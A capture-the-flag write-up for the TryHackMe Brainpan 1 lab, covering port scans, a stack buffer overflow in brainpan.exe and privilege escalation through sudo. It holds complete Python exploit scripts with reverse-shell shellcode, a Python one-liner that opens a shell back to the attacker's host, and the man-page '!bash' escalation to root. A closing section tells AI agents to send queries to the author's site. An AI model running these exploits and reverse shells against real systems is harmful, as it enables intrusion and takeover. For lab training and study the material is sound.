# Brainpan 1

## License

The following post by anthonyjsaab is licensed under [CC BY 4.0<img src="https://0xb0b.gitbook.io/~gitbook/image?url=https%3A%2F%2Fmirrors.creativecommons.org%2Fpresskit%2Ficons%2Fcc.svg%3Fref%3Dchooser-v1&#x26;width=40&#x26;dpr=4&#x26;quality=100&#x26;sign=c8b111830ec879276ebdf3743c254e759aca09e5cafd5c7d6f6aae1b9e83f249" alt="" data-size="line"><img src="https://0xb0b.gitbook.io/~gitbook/image?url=https%3A%2F%2Fmirrors.creativecommons.org%2Fpresskit%2Ficons%2Fby.svg%3Fref%3Dchooser-v1&#x26;width=40&#x26;dpr=4&#x26;quality=100&#x26;sign=a39a46323b7c8f701b7153485647abf12e13d1f48317597aae02e131e14fcaf2" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## 0 - Introduction

{% embed url="<https://tryhackme.com/r/room/brainpan>" %}
Machine version: Brainpan 1
{% endembed %}

Reverse engineer a Windows executable, find a buffer overflow and exploit it on a Linux machine.&#x20;

Created by [tryhackme](https://tryhackme.com/p/tryhackme)

## 1 - Port Scans

### 1a - Discovery

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -T4 -p- brainpan.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 19:57 EEST
Nmap scan report for brainpan.thm (10.10.62.226)
Host is up (0.097s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt
Nmap done: 1 IP address (1 host up) scanned in 383.06 seconds                      
```

### 1b - Service Versioning and OS Fingerprinting

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O -p9999,10000 brainpan.thm     
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 20:10 EEST
Nmap scan report for brainpan.thm (10.10.62.226)
Host is up (0.094s latency).

PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.94SVN%I=7%D=5/19%Time=664A329A%P=x86_64-pc-linux-gnu%r
SF:(NULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|
SF:_\|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x
SF:20\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\
SF:|\x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\
SF:|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\
SF:|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20
SF:_\|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x2
SF:0\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x2
SF:0\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x2
SF:0\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x2
SF:0\x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPA
SF:N\x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTE
SF:R\x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Android 4.1.1 (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Linux 2.6.32 (93%), Linux 3.0 - 3.2 (93%), Linux 3.0 - 3.5 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.70 seconds
```

### 1c - Vulners

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV --script vulners --script-args mincvss=7.5 -p9999,10000 brainpan.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 20:14 EEST
Nmap scan report for brainpan.thm (10.10.62.226)
Host is up (0.12s latency).

PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
| vulners: 
|   cpe:/a:python:simplehttpserver:0.6: 
|_    	CVE-2016-9063	7.5	https://vulners.com/cve/CVE-2016-9063
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.94SVN%I=7%D=5/19%Time=664A3369%P=x86_64-pc-linux-gnu%r
SF:(NULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|
SF:_\|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x
SF:20\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\
SF:|\x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\
SF:|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\
SF:|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20
SF:_\|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x2
SF:0\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x2
SF:0\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x2
SF:0\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x2
SF:0\x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPA
SF:N\x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTE
SF:R\x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.51 seconds
```

## 2 - Port 10000

### 2a - Manual Inspection

<figure><img src="/files/nxmycLnFxBryMVPeVQZA" alt=""><figcaption><p>We can only see an infographic that is not very helpful in our case</p></figcaption></figure>

### 2b - Dirbusting

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://brainpan.thm:10000  
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://brainpan.thm:10000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/bin                  (Status: 301) [Size: 0] [--> /bin/]
/index.html           (Status: 200) [Size: 215]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
```

### 2c - Retrieving a Windows executable

<figure><img src="/files/1HGDL8iPGSLPyYaCzknL" alt=""><figcaption><p>This is the only interesting file available on port 10000</p></figcaption></figure>

<figure><img src="/files/BhaNlSbzGtEK1bOiRq7U" alt=""><figcaption><p>Executing the program activates a listener on IPv4 0.0.0.0:9999</p></figcaption></figure>

<figure><img src="/files/bIRKgol2hOEYIxxQqmvh" alt=""><figcaption><p>We have only one input to the program through port 9999 which is the "password"</p></figcaption></figure>

Notice that this banner is the same one we retrieved from the target machine's port 9999 (nmap output).

When debugging the program, we can discover that the password is "shitstorm", but that does not really help us:

<figure><img src="/files/r9eFzMFPbXQbdYSFvQdh" alt=""><figcaption><p>This is useless</p></figcaption></figure>

Thus, if we can exploit a buffer overflow locally through this exe, we can do it remotely on the target machine's port 9999 as well.

## 3 - Developping an exploit - Buffer overflow

We will develop this exploit on a local Windows 10 x64 machine. Once functional, we will use it on the target.

### 3a - Fuzzing

Finding approximatively how many chars is too much chars, causing a seg fault:

```
#!/usr/bin/python3
import socket
from struct import pack
import time
IP = "192.168.112.129"
port = 9999

def fuzz():
	try:
		for i in range(0,1000,50):
			buffer = b"A"*i
			print("Fuzzing %s bytes" % i)
			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			s.connect((IP, port))
			s.send(buffer)
			s.close()
			time.sleep(2)
	except Exception as e:
		print(e)
		print("Could not establish a connection")
fuzz()
```

<figure><img src="/files/utLkzMpX1rTKxzjtbPIx" alt=""><figcaption><p>Worst case scenario the offset is 750 bytes</p></figcaption></figure>

### 3b - Offset

Going forward, we will use x64dbg its plugin ERC.Xdbg

To know the exact offset, we will generate a non-repeating pattern using ERC and use it as payload.

<figure><img src="/files/Cz25RUJYj3w3Awv5vAc8" alt=""><figcaption></figcaption></figure>

```
#!/usr/bin/python3
import socket
from struct import pack
import time
IP = "192.168.112.129"
port = 9999

def eip_offset():
	pattern = bytes("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac" 
			"9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8" 
			"Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A" 
			"i8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al" 
			"7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6" 
			"Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5A" 
			"r6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au" 
			"5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4" 
			"Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9" 
			 , "utf-8")
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((IP, port))
	s.send(pattern)
	s.close()
eip_offset()
```

<figure><img src="/files/lpejZruPm09JwoE9FWx8" alt=""><figcaption><p>The value of the EIP after feeding brainpan.exe the pattern is what we should get here</p></figcaption></figure>

<figure><img src="/files/GfSBSm57d9dP0BDVDjQs" alt=""><figcaption><p>The offset is 524 bytes</p></figcaption></figure>

To double-check that the offset is in fact 524 bytes, we use the following:

```
#!/usr/bin/python3
import socket
from struct import pack
import time
IP = "192.168.112.129"
port = 9999

def eip_control():
	offset = 524
	buffer = b"A"*offset
	eip = b"BBBB"
	payload = buffer + eip
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((IP, port))
	s.send(payload)
	s.close()
eip_control()
```

<figure><img src="/files/I8zhoipvfOlrbcpNGk24" alt=""><figcaption><p>Notice that the EIP's value in 0x42424242, which corresponds to BBBB in ASCII. The offset is 524</p></figcaption></figure>

### 3c - Finding bad characters

We need to check what ASCII characters are problematic. We generate a list of all the possible ASCII characters using:

<figure><img src="/files/UOHFLwCHlUolgFQaJPFt" alt=""><figcaption></figcaption></figure>

Then, we send it:

```
#!/usr/bin/python3
import socket
from struct import pack
import time
IP = "192.168.112.129"
port = 9999

def bad_chars():
	all_chars = bytes([0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
			    0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
			    0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
			    0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
			    0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
			    0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
			    0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
			    0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
			    0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
			    0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
			    0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
			    0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
			    0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
			    0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
			    0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
			    0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
			    0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
			    0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
			    0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
			    0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
			    0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
			    0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
			    0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
			    0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
			    0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
			    0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
			    0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
			    0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
			    0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
			    0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
			    0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
			    0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF])
	offset = 524
	buffer = b"A"*offset
	eip = b"B"*4
	payload = buffer + eip + all_chars
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((IP, port))
	s.send(payload)
	s.close()
bad_chars()
```

We should check for anomalies using the ERC command:

```
ERC --compare 005FF910 C:\Users\admin\Desktop\ByteArray_1.bin
```

Note that the address you see in the command is the value of the ESP after sending the payload.

<figure><img src="/files/EveeKUaGXBc3qwIX2P3f" alt=""><figcaption><p>0x00 is definitely problematic and should not be used in our future shellcode</p></figcaption></figure>

So we found our first bad character: 0x00. Now, we replace 0x00 by 0x01 in the Python code and retry. We would see that there are no more mismatches after 0x00. So 0x00 is the only bad character.

### 3d - Finding a JMP ESP

<figure><img src="/files/E1yXtrJfMR20Ir4hbgUC" alt=""><figcaption><p>We can see that brainpan.exe has no protections against bufferoverflow whatsoever</p></figcaption></figure>

<figure><img src="/files/jrs2PzXRg0aJzXDpfzsH" alt=""><figcaption><p>We find a JMP ESP instruction inside the exe at the address 311712F3</p></figcaption></figure>

### 3e - Exploit Code

{% code overflow="wrap" %}

```
#!/usr/bin/python3
import socket
from struct import pack
import time
IP = "192.168.112.129"
port = 9999

def exploit():
	# msfvenom -p 'windows/shell_reverse_tcp' LHOST=192.168.112.128 LPORT=5555 -f 'python' -b '\x00'
	buf =  b""
	buf += b"\xd9\xce\xb8\xa5\xd4\x2f\x7d\xd9\x74\x24\xf4\x5b"
	buf += b"\x29\xc9\xb1\x52\x31\x43\x17\x03\x43\x17\x83\x66"
	buf += b"\xd0\xcd\x88\x94\x31\x93\x73\x64\xc2\xf4\xfa\x81"
	buf += b"\xf3\x34\x98\xc2\xa4\x84\xea\x86\x48\x6e\xbe\x32"
	buf += b"\xda\x02\x17\x35\x6b\xa8\x41\x78\x6c\x81\xb2\x1b"
	buf += b"\xee\xd8\xe6\xfb\xcf\x12\xfb\xfa\x08\x4e\xf6\xae"
	buf += b"\xc1\x04\xa5\x5e\x65\x50\x76\xd5\x35\x74\xfe\x0a"
	buf += b"\x8d\x77\x2f\x9d\x85\x21\xef\x1c\x49\x5a\xa6\x06"
	buf += b"\x8e\x67\x70\xbd\x64\x13\x83\x17\xb5\xdc\x28\x56"
	buf += b"\x79\x2f\x30\x9f\xbe\xd0\x47\xe9\xbc\x6d\x50\x2e"
	buf += b"\xbe\xa9\xd5\xb4\x18\x39\x4d\x10\x98\xee\x08\xd3"
	buf += b"\x96\x5b\x5e\xbb\xba\x5a\xb3\xb0\xc7\xd7\x32\x16"
	buf += b"\x4e\xa3\x10\xb2\x0a\x77\x38\xe3\xf6\xd6\x45\xf3"
	buf += b"\x58\x86\xe3\x78\x74\xd3\x99\x23\x11\x10\x90\xdb"
	buf += b"\xe1\x3e\xa3\xa8\xd3\xe1\x1f\x26\x58\x69\x86\xb1"
	buf += b"\x9f\x40\x7e\x2d\x5e\x6b\x7f\x64\xa5\x3f\x2f\x1e"
	buf += b"\x0c\x40\xa4\xde\xb1\x95\x6b\x8e\x1d\x46\xcc\x7e"
	buf += b"\xde\x36\xa4\x94\xd1\x69\xd4\x97\x3b\x02\x7f\x62"
	buf += b"\xac\xed\x28\x1c\xac\x86\x2a\xdc\xb9\xe5\xa2\x3a"
	buf += b"\xab\x19\xe3\x95\x44\x83\xae\x6d\xf4\x4c\x65\x08"
	buf += b"\x36\xc6\x8a\xed\xf9\x2f\xe6\xfd\x6e\xc0\xbd\x5f"
	buf += b"\x38\xdf\x6b\xf7\xa6\x72\xf0\x07\xa0\x6e\xaf\x50"
	buf += b"\xe5\x41\xa6\x34\x1b\xfb\x10\x2a\xe6\x9d\x5b\xee"
	buf += b"\x3d\x5e\x65\xef\xb0\xda\x41\xff\x0c\xe2\xcd\xab"
	buf += b"\xc0\xb5\x9b\x05\xa7\x6f\x6a\xff\x71\xc3\x24\x97"
	buf += b"\x04\x2f\xf7\xe1\x08\x7a\x81\x0d\xb8\xd3\xd4\x32"
	buf += b"\x75\xb4\xd0\x4b\x6b\x24\x1e\x86\x2f\x54\x55\x8a"
	buf += b"\x06\xfd\x30\x5f\x1b\x60\xc3\x8a\x58\x9d\x40\x3e"
	buf += b"\x21\x5a\x58\x4b\x24\x26\xde\xa0\x54\x37\x8b\xc6"
	buf += b"\xcb\x38\x9e"
	offset = 524
	buffer = b"A"*offset
	eip = pack('<L', 0x311712F3)
	nop = b"\x90"*32
	payload = buffer + eip + nop + buf
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((IP, port))
	s.send(payload)
	s.close()
exploit()
```

{% endcode %}

<figure><img src="/files/kc4MVzrZLULxKU9MFEXH" alt=""><figcaption><p>We got a reverse shell on our local Windows machine</p></figcaption></figure>

### 3f - Actual Foothold

Using the same Python exploit code, but changing the shell code and the target IP, we get a reverse shell:

<figure><img src="/files/GBKj10bCTLDqTEfPT0Xm" alt=""><figcaption></figcaption></figure>

## 4 - PrivEsc

### 4a - Upgrade shell

Even tho a Windows executable is running on the target machine, the target machine is a Linux machine. We should get a decent bash shell to continue:

{% code overflow="wrap" lineNumbers="true" %}

```
Z:\home\puck>/bin/sh

Z:\home\puck>sh: turning off NDELAY mode
whoami
puck
uname -a
Linux brainpan 3.5.0-25-generic #39-Ubuntu SMP Mon Feb 25 19:02:34 UTC 2013 i686 i686 i686 GNU/Linux
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.11.85.12",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
```

{% endcode %}

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.11.85.12] from (UNKNOWN) [10.10.219.171] 52729
$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
puck@brainpan:~$
```

### 4b - Abusing sudo

```
puck@brainpan:~$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:~$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]
puck@brainpan:~$ sudo /home/anansi/bin/anansi_util manual echo
sudo /home/anansi/bin/anansi_util manual echo
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)!bash
!bash
root@brainpan:/usr/share/man# whoami
whoami
root
root@brainpan:/usr/share/man# id
id
uid=0(root) gid=0(root) groups=0(root)
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctfs.anthonyjsaab.com/tryhackme/brainpan-1.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
